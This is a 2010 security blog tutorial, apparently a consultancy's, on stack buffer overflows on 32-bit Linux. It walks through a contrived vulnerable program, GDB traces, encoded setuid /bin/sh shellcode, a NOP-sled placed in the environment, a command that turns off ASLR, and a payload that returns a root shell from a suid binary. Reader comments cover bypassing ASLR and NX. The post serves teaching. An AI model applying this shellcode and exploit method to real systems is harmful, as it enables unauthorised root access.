Skip to content

Vulnerability Development: Buffer Overflows: RET Overwrite…

by on November 12, 2010

Hello all, my name is Mike Evans and I’m a security consultant here at Pentura. The other day I was asked by a certain Spanish someone if I could contribute to the blog ;-). At first I wasn’t too sure what to write about, however after a while I decided to write about Vulnerability Development as this is an area of research I am very passionate about. Now this is a very broad topic and I am still learning all about it. What I plan to do is start at the very beginning and take you through it a post at a time, building on each post as we go. First of all I want to talk about the various types of vulnerabilities; what they are, how to control them and how to exploit them. Then I want to go over the various protections that have been implemented to try and mitigate these vulnerabilities and how to bypass these mitigations. This is the part I love about vulnerability development, the way hackers find ways around the protections implemented by software and hardware vendors, this is definitely the thrill for me.

To start with, in this post, I am going to talk about Buffer Overflows; What they are? How to control them and how to exploit them. Before we dive into the fun stuff if you don’t know anything about memory management, the stack data structure and the basics of the assembly programming language then I suggest you take a moment to read over the following links:

Memory Management
The Stack
Buffer Overflows
Assembly Language Tutorial

I will explain various topics as I go through the posts however I will not explain in depth, the details of the assembly programming language, memory management or the various data structures. It is better if you do you’re own independent research deeper into these topics.

Lets get started… one thing to note is that all the code and explanations have been tested on a GNU/Linux operating system using an IA86 (x86) architecture. The theory behind buffer overflows is the same across all platforms. I will talk about windows based buffer overflows and exploitation in a couple of posts time.

Buffer overflows have been around for as long as I can remember. The first one to gain media attention, I would say, was the Morris Worm (written by Robert Morris in 1988) which took advantage of various vulnerabilities including a buffer overflow in the fingerd daemon. Since then things have changed and they are becoming less and less prevalent in software. However this doesn’t mean that they’ve gone away for good just yet. A perfect example of this is the recent bug found in the popular ProFTPD daemon which you can read about here:

ZDI-10-229: ProFTPD TELNET_IAC Remote Code Execution Vulnerability

What exactly is a Buffer Overflow? In high level programming languages such as C data integrity is left up to the developer. What does this mean? Well if the developer creates a buffer and reserves 1024 bytes then tries to copy anything more than 1023 bytes (computers start counting at 0 remember) it will overflow out from the buffer and overwrite other memory locations on the stack. A little bit of theory; when a buffer is created it is stored on the stack, which is one of three regions of memory within the process address space (the other two are Text and Data). It is a Last In First Out data structure (LIFO). This means that the first item placed onto the stack (or PUSHED onto the stack) is the first item removed (or POPED) off the stack. Another important feature of the stack is that it grows down towards low memory addresses meaning that the top of the stack (where ESP points to) is really at the bottom. When you declare storage locations in C like so:

char buffer[1024];

They are stored on the stack and the stack looks like this (A very primitive example):

(High memory addresses)
----------------------------
Local Variables
----------------------------
Saved EBP
----------------------------
Saved EIP
----------------------------
Function Parameters
----------------------------
(Low memory addresses)

The storage location: buffer[1024] will be stored in the local variables section. When you write data to the buffer if you write more than the allocated amount it will overflow out onto the stack. The first thing that it will overwrite is the saved EBP (base pointer) and then the saved EIP (saved return address) and then the function parameters. The important part to realise is when a function gets called it first creates a new Stack Frame. Then pushes the base pointer onto the stack so that it can retrieve it later and then it pushes the return address (saved EIP) onto the stack, this is so that when the function finishes it can return to the previous function that called it. The trick is to overwrite the saved return address with and address that points to your shellcode. Shellcode is simply machine code that can be injected into memory and executed, this is where you make the program do what you want it to do. Normally this will be spawning a shell hence the name shellcode.

A quick run down of the registers is in order. The CPU has a set of registers, these are very much like variables in a programming language, you can use them as temporary storage locations rather than using memory locations, this allows for faster operations. Some of these registers have special purposes, these will be discussed later.

* EAX - Accumulator Register
* EBX - Base Register
* ECX - Counter Register
* EDX - Data Register
* ESI - Source Index
* EDI - Destination Index
* EBP - Base Pointer
* ESP - Stack Pointer

For more information about these registers and their specific purposes take a look at the following article:

The Art of Picking Intel Registers

For now bare in mind that; EBP, ESP and EIP are special purpose registers. EBP is the base pointer, which points to the bottom of the stack and is used to reference local variables by providing an offset to the register (note; EBP register has a static address, it is the only register that holds the same addresses through out the process execution). ESP is the stack pointer and this points to the top of the stack, when space is reserved for local variables values are subtracted from the ESP register to make room (remember that the stack grows down towards low memory addresses so subtracting values from ESP allows you to reserve space). Finally the EIP register (or the instruction pointer) holds the address of the next instruction to be executed. This is where the fetch/execute cycle retrieves the next instruction from and executes it.

Right enough of the theory, lets get down and dirty with the fun stuff 🙂

First of all lets take a look at a vulnerable program (this is a simple and contrived example, it’s only purpose is to help demonstrate the basics of Buffer Overflows):

#include <stdio.h>
#include <string.h>

int copy(char *string)
{
char buffer[10];

memset(buffer, 0x00, (sizeof(buffer)-1));
strcpy(buffer, string);
printf(“Buffer: %s.\n”, buffer);

return 0;
}

int main(int argc, char *argv[])
{

copy(argv[1]);
return 0;
}

The first function you see is “int copy(char *string)” which basically takes a pointer to a character array as an argument. It then declares a buffer (which is stored on the stack) and zero’s out the buffer ready for data to be placed into it. A call to “strcpy(buffer, string)” which copies the contents of the character array that gets passed to the copy function (string) to the declared character array buffer. Then the function prints out what was copied and returns back to main. Main simply calls the copy function with a user supplied argument (argv[1] which is the first argument passed to the actual program). This is what is looks like when executed:

dusty@devbox:~/Code/Vuln$ ./vulnerable testing
Buffer: testing.
dusty@devbox:~/Code/Vuln$

As I am sure you are aware, the program suffers from a Buffer Overflow vulnerability due to the use of the strcpy function. The problem with strcpy is that it doesn’t care how much it tries to copy from the source to the destination (strcpy(destination, source)) it just does what you tell it to do and copies the data. If you try to write more bytes to the destination variable than allocated it will overflow out onto the stack as I described earlier.

OK so lets make it crash and see what happens?

dusty@devbox:~/Code/Vuln$ ./vulnerable $(python -c 'print "\x41" * 10 + "\x44\x44\x44\x44" + "\x44\x43\x42\x41"')
Buffer: AAAAAAAAAADDDDDCBA.
Segmentation fault (core dumped)
dusty@devbox:~/Code/Vuln$

What have I done here? Well, we know the character array is just a series of elements from 0 to 9. We overflow the buffer with 10 bytes, which should leave us overwriting EBP with the next 4 bytes so I used a place holder of “DDDD” (\x44 is the ASCII representation of D). Then the following 4 bytes will overwrite the saved return address (EIP) so I used a place holder of “ABCD” (\x44\x43\x42\x41 which again is the ASCII representation of ABCD also using little endian byte ordering as we’re on an IA86 architecture). Now if we look at this under the microscope in GDB we can clearly see what is going on:

dusty@devbox:~/Code/Vuln$ gdb ./vulnerable -q
(gdb) set disassembly-flavor intel
(gdb) run $(python -c 'print "\x41" * 10 + "\x44\x44\x44\x44" + "\x44\x43\x42\x41"')
Starting program: /home/dusty/Code/Vuln/vulnerable $(python -c 'print "\x41" * 10 + "\x44\x44\x44\x44" + "\x44\x43\x42\x41"')
Buffer: AAAAAAAAAADDDDDCBA.

Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb) i r ebp eip
ebp 0x44444444 0x44444444
eip 0x41424344 0x41424344
(gdb) quit
The program is running. Exit anyway? (y or n) y
dusty@devbox:~/Code/Vuln$

Excellent! So the first thing I do is start GDB (GNU Debugger) with the -q switch which simply starts the debugger without a load of messages (-q = quiet). Then I change the format of the Assembly from AT&T to Intel as I prefer to read Intel syntax. (Quick note, unix is generally AT&T and windows is generally Intel syntax. However on most unix platforms you can switch between AT&T or Intel syntax). Then I run the program with the same command line options that I explained above and to confirm, we successfully overwrite the saved EBP register with our “DDDD” string, then we overwrite the saved return address (this is the return address that returns the copy function back to the main function) with ABCD. Perfect, we can now compile an exploit to take control. First I want to work with the debugger to help you understand this more:

dusty@devbox:~/Code/Vuln$ gdb ./vulnerable -q
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x08048421 : push ebp
Pushes the base pointer to the stack.
0x08048422 : mov ebp,esp
Moves the stack pointer to the base pointer.
0x08048424 : sub esp,0x4
Subtracts 4 bytes from ESP to make room for local variables.
0x08048427 : mov eax,DWORD PTR [ebp+0xc]
Moves the address of argv into EAX.
0x0804842a : add eax,0x4
Adds 4 to EAX register meaning argv[1] (remember each element of the array is 4 bytes).
0x0804842d : mov eax,DWORD PTR [eax]
Move our string from argv[1] to EAX.
0x0804842f : mov DWORD PTR [esp],eax
Move our string to the address ESP points to (This sets up the parameters for the copy() call.)
0x08048432 : call 0x80483d4
Finally call the copy function (copy(argv[1]))
0x08048437 : mov eax,0x0
Move 0 into EAX register.
0x0804843c : leave
Leave performs the function epilogue
0x0804843d : ret
Returns to the address poped from ESP.
End of assembler dump.
(gdb) disass copy
Dump of assembler code for function copy:
0x080483d4 : push ebp
Pushes the base pointer to the stack.
0x080483d5 : mov ebp,esp
Copies the stack pointer to the base pointer (Setting up new stack frame).
0x080483d7 : sub esp,0x18
Subtracts 24 bytes from ESP to create room for local variables (buffer[10]).
0x080483da : mov DWORD PTR [esp+0x8],0x9
Puts 9 into esp+8 (third argument for memset).
0x080483e2 : mov DWORD PTR [esp+0x4],0x0
Puts 0 into esp+4 (second argument for memset).
0x080483ea : lea eax,[ebp-0xa]
Loads the effective address located at EBP-0xa (which is our buffer) into EAX.
0x080483ed : mov DWORD PTR [esp],eax
Copies EAX to ESP ready for the call.
0x080483f0 : call 0x8048310
Calls function memset(buffer, 0x0, 9);
0x080483f5 : mov eax,DWORD PTR [ebp+0x8]
Moves the address of string into EAX.
0x080483f8 : mov DWORD PTR [esp+0x4],eax
Moves the address of string in EAX to ESP+0x4 (our second argument to strcpy).
0x080483fc : lea eax,[ebp-0xa]
Loads the effective address of our buffer into EAX.
0x080483ff : mov DWORD PTR [esp],eax
Places the address of our buffer into ESP (first argument to strcpy).
0x08048402 : call 0x8048330
Calls strcpy function (strcpy(buffer, string)).
0x08048407 : lea eax,[ebp-0xa]
Loads the effective address of our buffer into EAX.
0x0804840a : mov DWORD PTR [esp+0x4],eax
Places the address of our buffer into ESP+4 (second argument to printf).
0x0804840e : mov DWORD PTR [esp],0x8048500
Loads the string: "Buffer: %s.\n" into esp (first argument to printf).
0x08048415 : call 0x8048340
Calls printf (printf("Buffer: %s.\n", buffer);
0x0804841a : mov eax,0x0
Moves 0 to EAX register.
0x0804841f : leave
Leave performs the function epilogue.
0x08048420 : ret
Returns to the address popped from esp.
End of assembler dump.
(gdb) b *0x08048402
I set a break point on the call to strcpy(buffer, string).
Breakpoint 1 at 0x8048402: file vulnerable.c, line 9.
(gdb) b *0x08048420
I also set a break point on the return instruction of copy() function.
Breakpoint 2 at 0x8048420: file vulnerable.c, line 13.
(gdb) run $(python -c 'print "\x41" * 10 + "\x44\x44\x44\x44" + "\x44\x43\x42\x41"')
Starting program: /home/dusty/Code/Vuln/vulnerable $(python -c 'print "\x41" * 10 + "\x44\x44\x44\x44" + "\x44\x43\x42\x41"')

Execute the program in the debugger with our payload.

Breakpoint 1, 0x08048402 in copy (string=0xbffff73a "AAAAAAAAAADDDDDCBA") at vulnerable.c:9
9 strcpy(buffer, string);
We hit the first breakpoint.
(gdb) x/i 0x08048402
0x8048402 : call 0x8048330
Look at the instruction which is our call to strcpy.
(gdb) x/x $esp
0xbffff514: 0xbffff522
(gdb) x/s 0xbffff522
0xbffff522: ""
(gdb) # This is our buffer (buffer) which is the first argument to strcpy and is empty.
(gdb) x/x $esp+0x4
0xbffff518: 0xbffff73a
(gdb) x/s 0xbffff73a
0xbffff73a: "AAAAAAAAAADDDDDCBA"
(gdb) # This is obviously our string that we plan to copy to buffer.
(gdb) cont
Continuing.
Buffer: AAAAAAAAAADDDDDCBA.

Breakpoint 2, 0x08048420 in copy (string=Cannot access memory at address 0x4444444c
) at vulnerable.c:13
13 }
As you can see we have now hit our second breakpoint that
we set on copy's ret instruction.
(gdb) x/i 0x08048420
0x8048420 : ret
(gdb) i r ebp eip
ebp 0x44444444 0x44444444
As you can see we have overwritten EBP with our value DDDD (0x44444444)
eip 0x8048420 0x8048420
(gdb) x/x $esp
0xbffff530: 0x41424344
And here is the overwritten saved EIP value, this will get pop'ed off the stack
and the ret instruction will return to it.
(gdb) cont
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()

As you can see ret tried to return to our address: 0x41424344 as its an
invalid address it causes a segmentation fault.
(gdb) quit
The program is running. Exit anyway? (y or n) y
dusty@devbox:~/Code/Vuln$

I have added notes to most of the debugged output to help you understand it better. After disassembling the main and copy functions to see what the assembly looks like, I set break points on the call to strcpy and copy()’s return. Then when I hit these break points I am able to check the registers and function arguments to make sure that I’m hitting everything as expected. As you can see we are 🙂 You can see that buffer is empty at the time of the strcpy call (as you would expect) and you can see our payload as the other argument to strcpy. When strcpy function is executed it overflows and then overwrites the saved EBP and saved EIP, then when the function returns it pops the address that ESP points to (which is the saved return address which I have overwritten with ABCD) and it tries to return to that address obviously 0x41424344 is not a valid address so the program causes a segmentation fault and crashes.

Now we have control of execution, we essentially control the program and can make it do whatever we want. Suppose this program was part of a bigger program and had permissions like so:

563807 8 -rws–s–x 1 root root 7626 2010-11-11 12:05 vulnerable

Then we could compromise the system and gain root privileges as it is a suid root binary. Cool! OK, let’s see how this is done. First we need some shellcode, as this is a linux platform the shellcode must contain setuid(0), setreuid(0) and setresuid(0) (needed to retain root privileges) and we will get it to spawn a root shell. We will use the popular metasploit framework to generate our shellcode in later posts I will show you how to build your own, however to keep it simple we will use metasploit for now.

Open up msfconsole and do the following:

dusty@devbox:~$ msfconsole

=[ metasploit v3.5.1-dev [core:3.5 api:1.0]
+ -- --=[ 629 exploits - 309 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
=[ svn r11009 updated today (2010.11.12)


msf > use linux/x86/exec
msf payload(exec) > set CMD "/bin/sh"
CMD => /bin/sh
msf payload(exec) > set PrependSetresuid True
PrependSetresuid => True
msf payload(exec) > set PrependSetreuid True
PrependSetreuid => True
msf payload(exec) > set PrependSetuid True
PrependSetuid => True
msf payload(exec) > set encoder x86/shikata_ga_nai
encoder => x86/shikata_ga_nai
msf payload(exec) > generate
# linux/x86/exec - 96 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# PrependSetresuid=true, PrependSetreuid=true,
# PrependSetuid=true, PrependChrootBreak=false,
# AppendExit=false, CMD=/bin/sh
buf =
"\xdd\xc6\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x12\xbb\x0e\xdd" +
"\x54\xd5\x31\x5e\x18\x03\x5e\x18\x83\xee\xf2\x3f\xa1\xe4" +
"\xc3\xf1\x91\xf0\x30\x41\x81\x32\x36\x93\x03\xfd\xed\xbe" +
"\xd5\xa6\xdc\xbf\xeb\x8d\xb4\xa8\x53\xff\xc8\xbd\x68\xa7" +
"\x51\x13\x09\x3f\x4c\xf7\x5c\x58\xe6\xd8\x2d\xcf\xf6\x4e" +
"\xfd\x6d\x9f\xe0\x88\x91\x0d\x15\x82\x55\xb1\xe5\xbc\x37" +
"\xd8\x8b\xed\xc4\x72\x54\xa5\x79\x0b\xb5\x84\xfe"
msf payload(exec) > quit
dusty@devbox:~$

Excellent, as you can see this shellcode simply executes the command /bin/sh and will spawn us a root shell 🙂 On to the exploit.. first we need to load our nopsled and shellcode into the environment. The reason we do this is because the buffer we are overflowing is too small to put the shellcode in. So another alternative is to place it in the environment as the environment is mapped to memory on execution of our vulnerable program we can access the shellcode through a pointer. We do this like so:

dusty@devbox:~/Code/Vuln$ export SC=$(python -c ‘print “\x90” * 500 + “\xdd\xc6\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x12\xbb\x0e\xdd\x54\xd5\x31”
“\x5e\x18\x03\x5e\x18\x83\xee\xf2\x3f\xa1\xe4\xc3\xf1\x91\xf0\x30\x41”
“\x81\x32\x36\x93\x03\xfd\xed\xbe\xd5\xa6\xdc\xbf\xeb\x8d\xb4\xa8\x53”
“\xff\xc8\xbd\x68\xa7\x51\x13\x09\x3f\x4c\xf7\x5c\x58\xe6\xd8\x2d\xcf”
“\xf6\x4e\xfd\x6d\x9f\xe0\x88\x91\x0d\x15\x82\x55\xb1\xe5\xbc\x37\xd8
“\x8b\xed\xc4\x72\x54\xa5\x79\x0b\xb5\x84\xfe”‘)
dusty@devbox:~/Code/Vuln$

We can now write a simple C program to find the address of our nops, here is the code:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
if (argc < 2)
{
printf(“Usage: %s Environment_Variable.\n”, argv[0]);
exit(1);
}

printf(“NOP Sled Address: 0x%08x.\n”, (getenv(argv[1])+50));
return 0;
}

Before we compile this program you must issue the following command as root:

root@devbox:~/Code/Vuln# echo 0 > /proc/sys/kernel/randomize_va_space
root@devbox:~/Code/Vuln#

This turns of Address Space Layout Randomization (ASLR), this is something we will talk about how to bypass in later posts, but for now to keep it simple turn it off. Then compile and execute the program like so:

dusty@devbox:~/Code/Vuln$ gcc findnops.c -o findnops && ./findnops SC
NOP Sled Address: 0xbffffc16.
dusty@devbox:~/Code/Vuln$

OK we will overwrite the saved return address with the address: 0xbffffc16 as this will land us at the start, it will then slide down the nopsled and hit our shellcode leading to a root shell. Lets see how to put all the pieces together now:

dusty@devbox:~/Code/Vuln$ ./vulnerable $(python -c 'print "\x41" * 10 + "\x41\x42\x43\x44" + "\x16\xfc\xff\xbf"')
Buffer: AAAAAAAAAAABCD
# whomai ; id
/bin/sh: whomai: not found
uid=0(root) gid=1000(dusty) egid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),124(sambashare),1000(dusty)
#

Awesome, we just rooted the box 🙂 Lets first go through this step by step. When we get the address of our nopsled using the findnops program we can confirm this is correct by looking at GDB:

dusty@devbox:~/Code/Vuln$ gdb ./vulnerable -q
(gdb) set disassembly-flavor intel
(gdb) break main
Breakpoint 1 at 0x8048427: file vulnerable.c, line 18.
(gdb) run AAAA
Starting program: /home/dusty/Code/Vuln/vulnerable AAAA

Breakpoint 1, main (argc=2, argv=0xbffff384) at vulnerable.c:18
18 copy(argv[1]);
(gdb) x/wx 0xbffffc16
Examine the address to see what it points to..
0xbffffc16: 0x90909090
Excellent it points to our nopsled...
(gdb) x/500wx 0xbffffc16.
0xbffffc16: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc26: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc36: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc46: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc56: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc66: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc76: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc86: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc96: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffca6: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffcb6: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffcc6: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffcd6: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffce6: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffcf6: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd06: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd16: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd26: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd36: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd46: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd56: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd66: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd76: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd86: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd96: 0x90909090 0x90909090 0x90909090 0x90909090
---Type to continue, or q to quit---
0xbffffda6: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffdb6: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffdc6: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffdd6: 0x90909090 0x90909090 0x90909090 0x74d9c6dd
0xbffffde6: 0x2b5ef424 0xbb12b1c9 0xd554dd0e 0x03185e31
0xbffffdf6: 0xee83185e 0xe4a13ff2 0xf091f1c3 0x32814130
0xbffffe06: 0xfd039336 0xa6d5beed 0x8debbfdc 0xff53a8b4
0xbffffe16: 0xa768bdc8 0x3f091351 0x585cf74c 0xcf2dd8e6
0xbffffe26: 0x6dfd4ef6 0x9188e09f 0x5582150d 0x37bce5b1
0xbffffe36: 0xc4ed8bd8 0x79a55472 0xfe84b50b 0x53494800
0xbffffe46: 0x4e4f4354 0x4c4f5254 0x6e67693d 0x6265726f
0xbffffe56: 0x0068746f 0x564c4853 0x00323d4c 0x454d4f48
0xbffffe66: 0x6f682f3d 0x642f656d 0x79747375 0x4f4e4700
0xbffffe76: 0x445f454d 0x544b5345 0x535f504f 0x49535345
0xbffffe86: 0x495f4e4f 0x65443d44 0x6c756166 0x4f4c0074
0xbffffe96: 0x4d414e47 0x75643d45 0x00797473 0x5f474458
0xbffffea6: 0x41544144 0x5249445f 0x752f3d53 0x6c2f7273
0xbffffeb6: 0x6c61636f 0x6168732f 0x3a2f6572 0x7273752f
0xbffffec6: 0x6168732f 0x3a2f6572 0x7273752f 0x6168732f
0xbffffed6: 0x672f6572 0x002f6d64 0x53554244 0x5345535f
0xbffffee6: 0x4e4f4953 0x5355425f 0x4444415f 0x53534552
0xbffffef6: 0x696e753d 0x62613a78 0x61727473 0x2f3d7463
0xbfffff06: 0x2f706d74 0x73756264 0x4e777a2d 0x72785234
0xbfffff16: 0x2c474654 0x64697567 0x3263343d 0x32376232
0xbfffff26: 0x30656132 0x30326566 0x31343433 0x64373232
---Type to continue, or q to quit---
0xbfffff36: 0x64633466 0x39653564 0x454c0064 0x504f5353
0xbfffff46: 0x7c3d4e45 0x73752f20 0x69622f72 0x656c2f6e
0xbfffff56: 0x69707373 0x25206570 0x49570073 0x574f444e
0xbfffff66: 0x48544150 0x4400373d 0x4c505349 0x3a3d5941
0xbfffff76: 0x00302e30 0x5353454c 0x534f4c43 0x752f3d45
0xbfffff86: 0x622f7273 0x6c2f6e69 0x70737365 0x20657069
0xbfffff96: 0x25207325 0x4f430073 0x54524f4c 0x3d4d5245
0xbfffffa6: 0x6d6f6e67 0x65742d65 0x6e696d72 0x58006c61
0xbfffffb6: 0x48545541 0x5449524f 0x682f3d59 0x2f656d6f
0xbfffffc6: 0x64696f7a 0x67726562 0x61582e2f 0x6f687475
0xbfffffd6: 0x79746972 0x6f682f00 0x642f656d 0x79747375
0xbfffffe6: 0x646f432f 0x75562f65 0x762f6e6c 0x656e6c75
0xbffffff6: 0x6c626172 0x00000065 Cannot access memory at address 0xbffffffe
There you can see the rest of the nopsled leading into the shellcode :-)
(gdb)

If we examine the memory at the address our findnops program gave us we can clearly see that it is hitting the nopsled (0x90909090, 0x90 is the Assmebly instruction for No Operation, which means when the CPU tries to execute it it just does nothing and moves onto the next instruction). It will slide down the nopsled until it hits our shellcode, then the shellcode gets executed.

One final thing that I want to show you is what the exploit looks like when run inside of GDB, here we can step through and examine everything as it unravels 🙂

Here goes:

dusty@devbox:~/Code/Vuln$ gdb ./vulnerable -q
(gdb) set disassembly-flavor intel
(gdb) disass copy
Dump of assembler code for function copy:
0x080483d4 : push ebp
0x080483d5 : mov ebp,esp
0x080483d7 : sub esp,0x18
0x080483da : mov DWORD PTR [esp+0x8],0x9
0x080483e2 : mov DWORD PTR [esp+0x4],0x0
0x080483ea : lea eax,[ebp-0xa]
0x080483ed : mov DWORD PTR [esp],eax
0x080483f0 : call 0x8048310
0x080483f5 : mov eax,DWORD PTR [ebp+0x8]
0x080483f8 : mov DWORD PTR [esp+0x4],eax
0x080483fc : lea eax,[ebp-0xa]
0x080483ff : mov DWORD PTR [esp],eax
0x08048402 : call 0x8048330
0x08048407 : lea eax,[ebp-0xa]
0x0804840a : mov DWORD PTR [esp+0x4],eax
0x0804840e : mov DWORD PTR [esp],0x8048500
0x08048415 : call 0x8048340
0x0804841a : mov eax,0x0
0x0804841f : leave
0x08048420 : ret
End of assembler dump.
(gdb) b *0x08048402
Breakpoint 1 at 0x8048402: file vulnerable.c, line 9.
(gdb) b *0x08048420
Breakpoint 2 at 0x8048420: file vulnerable.c, line 13.
(gdb) run $(python -c 'print "\x41" * 10 + "\x41\x42\x43\x44" + "\x16\xfc\xff\xbf"')
Starting program: /home/dusty/Code/Vuln/vulnerable $(python -c 'print "\x41" * 10 + "\x41\x42\x43\x44" + "\x16\xfc\xff\xbf"')

Breakpoint 1, 0x08048402 in copy (string=0xbffff4e3 'A' , "BCD26���") at vulnerable.c:9
9 strcpy(buffer, string);
(gdb) x/i 0x08048402
0x8048402 : call 0x8048330
(gdb) x/x $esp
0xbffff2c4: 0xbffff2d2
(gdb) x/x $esp+0x4
0xbffff2c8: 0xbffff4e3
(gdb) x/s 0xbffff2d2
0xbffff2d2: ""
(gdb) # This is our buffer variable.
(gdb) x/s 0xbffff4e3
0xbffff4e3: 'A' , "BCD26
(gdb) # And our payload :-)
(gdb) cont
Continuing.
Buffer: AAAAAAAAAAABCD

Breakpoint 2, 0x08048420 in copy (string=Cannot access memory at address 0x44434249
) at vulnerable.c:13
13 }
(gdb) x/i 0x08048420
0x8048420 : ret
(gdb) i r ebp eip
ebp 0x44434241 0x44434241
eip 0x8048420 0x8048420
(gdb) cont
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
$ exit

Program exited normally.
(gdb)

As you can see when we hit the strcpy(buffer, argv[1]) function call, buffer is empty, and argv[1] contains our payload which looks like:

Buffer      EBP             EIP
[AAAAA][DCBA][Return Address -> NOPS]

So that is it for the first post. I hope you enjoyed it and if you already knew this information then great. It was meant to be an opener to the series of posts I plan to make. I will cover off all the main vulnerabilities (Buffer Overflows, Heap Overflows, Format Strings, Off by ones, etc) like this. Then I will delve deeper into more obsecure variations and then onto the protections such as; ASLR, NX, Stack Cookies, DEP, SEHOP, etc. I also want to talk about fuzzing and other ways to find bugs but these are for the future I want to build up to that point. So in the end there will be a nice archive of vulnerability developement research that I myself have done and shared. Hopefully it will open your eyes on just how fun it is to hunt down bugs, take control and exploit them!

If you have any questions regarding this post or feel I have not explained something entirely then please leave comments 🙂 Be nice as it was only an introductory post 🙂

7 Comments
  1. bbloke permalink

    I like this blog entry a lot, I’m looking forward to seeing how you get around ASLR, is this the same as position independant executables (PIE)?

  2. dusty permalink

    Thank you for your comment I am glad you enjoyed the post…

    If I understand your question correctly; there are many ways to bypass plain old ASLR, these include; exploiting the random number generator, information leaks (/proc/pid/*), brute force, partial overwrites, spraying, etc.. I guess you could think of ASLR bypasses from two angles;

    A) Find something that’s not randomized.
    OR
    B) Find a way to reveal the location of something that’s randomized.

    However, when you have binaries that are compiled with P.I.E it is a little bit harder because the binary will have the base address of the .text segment randomized, where as if the binary is not compiled with PIE, you can rely on .text being at a static address, so you can use function epilogues as R.O.P (Return Orientated Programming) gadgets.

    Hope this answers your question, if not let me know 🙂

  3. Rodrigo permalink

    Hey, nice post! I probably knew most of the info in here, but still, ideas were very well organized and helped me clarify some doubts. I’m just wondering if there is a way do buffer overflow attack a system with NX bit enabled (without any JIT going on in the system)…

    • dusty permalink

      Hey Rodrigo,

      Thank you for you’re comments.

      Yes this is very old information however I plan to build on it. So it’s usually better to start from the beginning and work your way up.

      It is possible to take control of execution when exploiting a buffer overflow vulnerability on a system that has the NX bit set. However it depends on the situation, for example.. if the system has he NX bit set but ASLR off the general way these days to take advantage would be to utilize ROP (Return Orientated Programming). This is worthy of a whole other post, later on in the series so I won’t cover it now. If you want more information then check out the following two links:

      Advanced Return-Oriented Exploit
      Return Orientated Programming

      If you have a more specific question regarding the situation etc, then please drop me another comment 🙂

  4. Rodrigo permalink

    Thanks for the links. Very nice reading! It’s clear for me now how ASLR can be bypassed using ROP Technic, but still i have no clue how this could be useful to bypass the restriction of non-executable memory areas imposed by NXbit. I’m looking forward for your next post about Vulnerability Development. Keep up the good work! =)

  5. dusty permalink

    No problem, I have some other good links that I’ll give you at the end of this post.

    These days exploiting bugs on systems that have full ASLR and the NX bit set is very tricky and there is no generic technique that will work. It is all application and situation specific, however most situations allow for successful exploitation in one way or another you just have to be willing to adapt to each new situation and apply some twisted logic 😉

    You used to be able to use Return to Libc attacks to defeat NX where you chained calls together (for example; setuid(0); system(“/bin/sh”);), these days this doesn’t work because of ASLR and then Return Orientated Programming came about (it had been around for a long time just not known as ROP). This attack is very similar to return to libc in that it uses borrowed code chunks from executable memory so instead of returning into libc functions we return into chosen code chunks (gadgets) that end with a RET instruction. You build up the gadgets to perform something useful 😉

    Anyway, like I said anymore specific questions welcome..

    If you’re really interested in vulnerability development, building exploits and understanding them then I invite you to come to my online wargames network:

    Smash The Stack

    We currently have a playground of shell based wargames that aim to teach exploitation techniques, I recommend you check out the following wargames:

    Blowfish
    IO
    Tux
    Amateria
    Blackbox

    The best wargame and most well maintained is by far IO, Tux and amateria. They will teach you all kinds of amazing tricks and there is always help on hand via IRC. Check it out!

    As for the links, have a read over these:

    Smashing The Stack in 2010
    BlackHat USA 2010 Paper – Payload Already Inside Data Reuse For ROP Exploits

    Enjoy!

  6. Rodrigo permalink

    Hey Dusty, thank you for your help!

    All the links you provided are helping me a lot. I’ve never worked with security before and now I’m challenged to add security features to a Linux based embedded system. ASLR and NxBit are the first ones.I’ve learned that the best way to create a good defense is to know what you are fighting against.

    I’ve joined Smash the Stack and I’m working my way through the first levels. Awesome work to keep up those wargames free to everyone. They are really fun and one can learn a lot out of them.

    Thanks again for the links, hope to see more of your articles in the future 😉

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: